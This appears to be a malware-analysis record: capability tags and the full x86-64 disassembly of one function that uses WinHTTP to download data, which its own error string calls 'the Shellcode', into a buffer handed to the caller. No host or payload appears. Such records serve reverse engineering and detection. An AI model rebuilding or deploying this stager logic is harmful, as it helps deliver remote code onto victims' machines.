Function at 0x140011930
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
xor r10d, r10d
xor r11d, r11d
mov rsi, rdx
mov qword [rsp + 0xd0], rcx
mov edi, r8d
xor edx, edx
mov rbx, r9
mov qword [rsp + 0x68], r10
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x70], r10
lea rcx, str.WinHTTP_Example_1.0
mov qword [rsp + 0x78], r10
mov dword [rsp + 0x60], r11d
mov dword [rsp + 0x64], r11d
mov dword [rsp + 0x20], r11d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400119b4
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r13, rax
test rax, rax
jne 0x1400119ca
jmp 0x1400119ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpConnect___u__n
call fcn.1400118e0
jmp 0x1400119ff
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140014202]
mov rcx, rax
mov dword [rsp + 0x30], r8d
mov r8, rbx
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r9
xor r9d, r9d
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbp, rax
test rax, rax
jne 0x140011a18
jmp 0x140011a40
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpOpenRequest___u__n
call fcn.1400118e0
xor r13d, r13d
jmp 0x140011a40
xor ecx, ecx
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rdx
xor edx, edx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140011a7c
jmp 0x140011a58
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpSendRequest___u__n
call fcn.1400118e0
xor ebp, ebp
jmp 0x140011a7c
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov r14d, eax
test eax, eax
je 0x140011c44
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov qword [rsp + 0x58], rax
jmp 0x140011af7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpReceiveResponse___u__n
call fcn.1400118e0
xor r14d, r14d
jmp 0x140011c44
test eax, eax
je 0x140011b0e
mov eax, dword [rsp + 0x60]
lea ecx, [rax + 1]
call sub.libstdc_6.dll_operator_new___unsigned_long_long_
mov r8d, dword [rsp + 0x60]
mov rsi, rax
xor eax, eax
lea r9, [rsp + 0x64]
mov rdi, rsi
mov rdx, rsi
lea ecx, [r8 + 1]
rep stosb byte [rdi], al
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x140011b27
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.1400118e0
mov rcx, rsi
call sub.libstdc_6.dll_operator_delete___void_
cmp dword [rsp + 0x60], 0
je 0x140011c44
xor eax, eax
lea rdx, [rsp + 0x60]
mov rcx, rbp
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x58]
call rax
jmp 0x140011a98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable___u__n
call fcn.1400118e0
jmp 0x140011a9c
mov r12d, dword [rsp + 0x64]
mov rdi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
lea rax, [rsi + r12]
mov qword [rsp + 0x48], rax
cmp rax, rsi
je 0x140011ae4
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
sub rax, rdi
cmp rax, r12
jb 0x140011b8d
mov rdx, qword [rsp + 0x48]
mov r8, rdi
mov rcx, rsi
call fcn.140012300
lea r8, [rdi + r12]
mov rdx, rdi
mov rcx, rdi
mov qword [rsp + 0x70], r8
call fcn.140012330
mov r8, rdi
mov rdx, rsi
mov rcx, rsi
call fcn.140012300
jmp 0x140011ae4
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
sub rbx, r15
mov rdx, rax
sub rdx, rbx
cmp rdx, r12
jae 0x140011bb4
lea rcx, str.vector::_M_range_insert
call fcn.1400016f8
cmp r12, rbx
cmovb r12, rbx
add rbx, r12
jb 0x140011bdb
xor r12d, r12d
test rbx, rbx
je 0x140011be9
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
jmp 0x140011bde
mov rbx, rax
mov rcx, rbx
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
mov r12, rax
mov rdx, rdi
mov r8, r12
mov rcx, r15
call fcn.140012330
mov rdx, qword [rsp + 0x48]
mov rcx, rsi
mov r8, rax
call fcn.140012300
mov rdx, rdi
mov rcx, rdi
mov r8, rax
call fcn.140012330
mov rdi, rax
test r15, r15
je 0x140011c2d
mov rdx, qword [rsp + 0x50]
mov rcx, r15
sub rdx, r15
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov qword [rsp + 0x68], r12
add r12, rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r12
jmp 0x140011ae4
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
cmp rsi, rbx
je 0x140011c5a
test r14d, r14d
jne 0x140011c7c
jmp 0x140011c68
lea rcx, str.Failed_in_retrieving_the_Shellcode
call fcn.1400118e0
jmp 0x140011c53
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_has_occurred._n
call fcn.1400118e0
test rbp, rbp
je 0x140011c8a
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r13, r13
je 0x140011c98
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp qword [rsp + 0x40], 0
je 0x140011cab
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub rbx, rsi
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
xor edx, edx
cmp rbx, rdx
je 0x140011cdd
mov cl, byte [rsi + rdx]
mov byte [rax + rdx], cl
inc rdx
jmp 0x140011cb8
mov rsi, qword [rsp + 0xd0]
lea rcx, [rsp + 0x68]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
call fcn.140012370
mov rax, qword [rsp + 0xd0]
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret